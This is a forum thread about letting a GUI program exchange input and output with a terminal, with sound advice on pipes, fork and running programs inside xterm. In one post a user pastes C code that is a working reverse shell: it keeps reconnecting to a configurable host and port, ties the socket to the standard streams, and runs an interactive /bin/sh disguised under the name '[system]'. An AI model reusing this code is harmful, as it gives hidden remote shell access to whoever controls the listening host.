Redirecting Terminal to Local Application!


 
Thread Tools Search this Thread
Top Forums Programming Redirecting Terminal to Local Application!
# 8  
Old 12-14-2010
popen as already stated is either read-only or write-only, never bidirectional.
Quote:
Originally Posted by JonhyM
open xterm once and read and write to/from it, i dont even know if this is possible
thanks for ur help Smilie.
That's pretty backwards. Sure it's possible, but it's also a silly amount of work in this circumstance. Especially when what you want is so tricky (not just pipes, but fairly unbuffered I/O). Why not have xterm run your program? Then you get everything done the way you want with one hit of the enter key.

Code:
xterm -e program arguments ...


Last edited by Corona688; 12-14-2010 at 11:17 AM..
# 9  
Old 12-15-2010
cause i needed to execute commands FROM my application and get the output, and executing commands one by one is very silly, and also i thought it would be a nice thing to learn from, and i was hoping u ppl could help.

i been trying for days now.... and i guess i have to keep trying
# 10  
Old 12-15-2010
I'm out of time today, but I'll post more example code tomorrow.

If I knew exactly what you were trying to do, not just the kind of solution you believe is necessary, I could help you better. The thing is, running your code in an xterm instead of vice versa will take care of all the difficult problems for you, and there's very likely a way to do exactly what you want from within one instead of vice versa.
# 11  
Old 12-15-2010
my application is totally something not related to xterm, it has a gui and everything, but im not good with coding yet as u can see, so im gonna execute terminal commands insted of coding them for now.
im trying to do it that way so i dont have to modify the whole code each time i add new stuff
here is another sample, i worked on it, but was never abel to get it to wok

Code:
 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <sys/socket.h>
 #include <string.h>
 #include <netdb.h>

 char server[] = "127.0.0.1";
 int port = 12345;
 char shell[] = "/bin/sh";
 char fakename[] = "[system]";
 int TIMEOUT = 3;

 int main(int arg, char **argv[])
 {
 int mainsock;
 char title[4096] = "";
 int x;

 again:

 mainsock = socket (AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in sin;
 struct hostent *host = gethostbyname (server);

 memcpy (&sin.sin_addr.s_addr, host->h_addr, host->h_length);
 sin.sin_family = AF_INET;
 sin.sin_port = htons (port);

 if(connect (mainsock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
 {
     sleep(TIMEOUT);
     goto again;
 }

 setsid();
 umask(0);
 dup2(mainsock, 0);
 dup2(mainsock, 1);
 dup2(mainsock, 2);

 sprintf(title, "Welcome %s (%s)", getenv("USER"), getenv("HOME"));
 chdir(getenv("HOME"));

 for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
 fprintf(stderr, "\n");
 fprintf(stderr, "+ %s +\n", title);
 for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
 fprintf(stderr, "\n");

 execl( shell, fakename,"-i" ,0);
 close(mainsock);
 return 0;
 }

i tried replacing the sockets with a file using fopen so it writes output to disk, but never worked, i also tried using pipes, but it was too much for me.

i appreciate any help u could provide.
thanks for ur time...
# 12  
Old 12-15-2010
Quote:
Originally Posted by JonhyM
my application is totally something not related to xterm, it has a gui and everything, but im not good with coding yet as u can see, so im gonna execute terminal commands insted of coding them for now.
So? There's still nothing whatsoever stopping you from running your code inside a terminal in the meantime. Things that need a terminal should be run in a terminal. That's how console applications work. That's how xterm expects to work. That's what they're there for. If you told me what your program needed to do, instead of the bizzare way you're hellbent on doing it, I could show you the proper way to do it.

This doesn't do what you think it does, anyway:
Code:
echo asdf | xterm | cat

'asdf' doesn't get printed to the terminal output, and cat doesn't read the terminal's input, because xterm is designed to communicate with a program running inside it.

In any case, here is your original goal, communicating with a program through pipes. We write 'asdf' to cat and read it back:
Code:
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	char *cmd[]={"cat", NULL};
	pid_t pid;
	int pipei[2], pipeo[2], status;
	char buf[512];
	ssize_t bytes;
	int total=0;

	// Create pipes
	pipe(pipei);	pipe(pipeo);

	pid=fork();

	if(pid < 0)
	{
		perror("Couldn't fork");
		return(1);
	}
	else if(pid == 0)
	{	// Child code
		// Child reads from output pipe
		dup2(pipeo[STDIN_FILENO], STDIN_FILENO);
		// Child writes to input pipe
		dup2(pipei[STDOUT_FILENO], STDOUT_FILENO);
		close(pipeo[STDOUT_FILENO]);
		close(pipei[STDIN_FILENO]);

		execvp(cmd[0], cmd);
		perror("Couldn't exec");
		exit(1);
	}

	// Parent code
	// Close all ends of pipes we aren't using anymore, or else
	// they'll hold it open later
	close(pipeo[STDIN_FILENO]);	close(pipei[STDOUT_FILENO]);

	write(pipeo[STDOUT_FILENO], "asdf", 4);

	// Read until EOF
	while(1)
	{
		bytes=read(pipei[STDIN_FILENO], buf, 512);
		if(bytes < 0)
		{
			fprintf(stderr, "Pipe not ready\n");
			continue;
		}
		else if(bytes == 0)	// End of file
		{
			fprintf(stderr, "Pipe closed\n");
			break;
		}
		else
		{
			fprintf(stderr, "Read %d bytes: '", (int)bytes);
			write(STDOUT_FILENO, buf, bytes);
			fprintf(stderr, "'\n");

			bytes=read(pipei[STDIN_FILENO], buf, 512);
		}
	}

	// Close the last pipes
	close(pipei[STDIN_FILENO]);
	close(pipeo[STDOUT_FILENO]);

	// Wait for the child so it doesn't haunt us as a zombie
	pid=wait(&status);

	fprintf(stderr, "Child exited with status %d\n", WEXITSTATUS(status));
}

Note that this behavior may be undefined on your platform. The read end of the pipe might actually block until >512 bytes are written, or the writing end closes. You could try setting it nonblocking, but then things like cat will die with "resource temporarily unavailable" whenever the pipe isn't ready.

As it happens, xterm also has a slave mode:

Code:
xterm -S ab12

where the bolded part is the file descriptor to read and write from.

This doesn't work with pipes. xterm reads and writes from the same descriptor, but pipes only go one way.

a socketpair() might work, but that's no guarantee.

I maintain, though, that this is a self-defeating design -- and a ridiculous amount of work for code you don't even intend to use. 40 lines of pseudocode for your plan, 8 lines of real, working code to do this the correct way:

Code:
// pseudocode that creates its own xterm

main()
{
  create_socketpair();
  create_child();

  child_code
  {
      create_xterm();
  }

  parent_code
  {
    char *output="Hello, please type something here:";
    char input[512];

    // write output string
    while(!all_written)
      keep_writing_to_socket;

    // keep reading until we get EOF or an enter character
    while(!all_read)
      keep_reading_from_socket;

    output="you typed: ";
    while(!all_written)
      keep_writing_to_socket;

    output=input;
    while(!all_written)
      keep_writing_to_socket;
    output="'\n";

    while(!all_written)
      keep_writing_to_socket;

    close(socket);
    wait();
  }
}

//WORKING code that runs INSIDE  an xterm
#include <stdio.h>
int main(void)
{
    char buf[512];
    fprintf(stderr, "Hello, please type something here:");
    fgets(buf, 512, stdin);
    fprintf(stderr, "You typed: %s\n", buf);
}

And what if you want to run it on a machine where xterms aren't available, but a text terminal is?

Just run it in a terminal already, you'll get everything you want.

Last edited by Corona688; 12-15-2010 at 01:00 PM..
# 13  
Old 12-15-2010
thanks for ur help
but my application never runs in xterm, its clicked and a gui is shown, all it does is that it saves me alot of typing in the terminal, all those flags and stuff, for example : just click the "Take Screen Shot" button and it will take a screen shot and save it with a specific sequenced name under /home/user/Screen Shots.
i cant open a terminal and run whats supposed to be wrapping terminal, its clicks application
and i need it this specific way cause i have some other stupid project in mind that will need it that way, tunnel output from xterm.

if u take a look at the last sample i posted, thats exactly what i need, except i tried making it write ouput to a file or pipe insted of sockets, but failed.
if u can show me hos its done, it would fix everything...

if u can help achive it this way, i would be grateful.
if u can't, all good Smilie u helped me so much already Smilie

thanks alot.

Last edited by JonhyM; 12-15-2010 at 04:56 PM..
# 14  
Old 12-15-2010
An analogy:

Image

...and about as painful to watch.

Your goal is to run it in one mouseclick, with options, and without having to type them in? But still have your program able to communicate with a terminal? Easy: Create a shortcut (or script) which does this:

Code:
xterm -e /path/to/my/application flags flags more flags

...and you're done!

Better yet, when you don't need the terminal anymore, you can just not use the terminal. There's nothing to take away from your code.

Please, please, please just try it.

Code:
if u take a look at the last sample i posted, thats exactly what i need, except i tried making it write ouput to a file or pipe insted of sockets, but failed.
if u can show me hos its done, it would fix everything...

Against my better judgement, I already wrote an entire example for you about that from scratch and explained, in detail, why it wouldn't work for xterm, and what hacks might make it possible.

When you're trying to connect to your own code with network sockets, it's a red flag that your design's the wrong way around. If you tell me exactly what you think you can't do, I'll show you how to do so. It'll be a thousand times less work.

Last edited by Corona688; 12-15-2010 at 06:10 PM..
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Redirecting terminal to variable

when i do something like this: bona=$(echo hi2 > /dev/pts/1 ; printf '%s\n' "" | sed '/^$/d') i get: hi2 and the $bona variable is empty, when I run: echo ${bona} i get the result "hi2" outside of the variable. I want it stored in the bona variable with nothing outputted to the... (6 Replies)
Discussion started by: SkySmart
6 Replies

2. Shell Programming and Scripting

Cannot get terminal application to launch with a graphical launcher when successful in terminal

I have been having an extremely annoying problem. For the record, I am relatively new at this. I've only been working with unix-based OS's for roughly two years, mostly Xubuntu and some Kali. I am pretty familiar with the BASH language, as that's the default shell for debian. Now, I've made this... (16 Replies)
Discussion started by: Huitzilopochtli
16 Replies

3. IP Networking

How to know local IP address in X-Terminal?

Im using a X-Terminal in my windows pc to connect to a Linux server. Is there a way to know my local IP address in my x-terminal console? Here are few commands which didnt help me: ss_cc@MGTS5026-13sh1:~> finger Login Name Tty Idle Login Time Where loadhlr ... (6 Replies)
Discussion started by: Arun_Linux
6 Replies

4. Shell Programming and Scripting

Redirecting script output to terminal

When ever i started my terminal,Every time I have to change the directory like "cd user/documents/ravi/folder2/folder3" Without typing this entire command every time ,I placed "alias c='cd user/documents/ravi/folder2/folder3'" in .bash_profile file. so that i can able to execute command 'c'... (6 Replies)
Discussion started by: Raviteja saddal
6 Replies

5. UNIX for Dummies Questions & Answers

pbpaste to application in terminal

Is it possible to execute a pbpaste command to an application or current application in focus? Thanks (0 Replies)
Discussion started by: fhill2
0 Replies

6. Slackware

X terminal: Redirecting remote sound to my local audio device

Hello everybody, I'm testing some aspects of X Terminal implementation and it's going great. I can use remote applications on my local slow workstation at remote's processor speed by redirecting the remote DISPLAY variable to "my_local_ip:0.0"; but i'm having troubles to get remote audio and... (2 Replies)
Discussion started by: semash!
2 Replies

7. Shell Programming and Scripting

redirecting the terminal to file

Hi, I want to save the whole Output of the terminal in a file. I dont want to redirect a single command to a file (ls -l > test.txt), I want to redirect the whole last 40 lines into a file. Maybe i can read out the terminal while working with it, but i cant find a way to save the whole... (2 Replies)
Discussion started by: niratschi
2 Replies

8. Solaris

Can i bind to a local login terminal running using rsh or remotely

Hi Can i ask? I had multiple solaris workstation running and some local users using it. Is it possible to bind to the local user terminal or console he's using as if like the user well type and I can see it and what my typing in the local user see it also. Is it possible.. Thanks. (3 Replies)
Discussion started by: jao_madn
3 Replies

9. Shell Programming and Scripting

Redirecting output to a local file after sshing

ssh $USR@$host /bin/bash <<EOF awk ' BEGIN{f=0} !f { s=$0; sub(/,.+/, "", s); gsub(//, " ", s); t=(systime()-mktime(s)); if(t<=14400) f=1 } f ' /home/error.log >> error.txt EOFWe are trying to connect to a remote server through ssh and read values from error.log within last 4 hours.However, the... (3 Replies)
Discussion started by: Deepthz
3 Replies

10. UNIX for Dummies Questions & Answers

redirecting one terminal into an other??

Hi guys; I want to show what am I doing on a terminal into another. I did something close but its not working really good. Example: cat /dev/pts/12 >/dev/pts/13 where 12 is my terminal and 13 its the other terminal. This is usefull for me to share my small unix knowledge to other people... (4 Replies)
Discussion started by: piltrafa
4 Replies
Login or Register to Ask a Question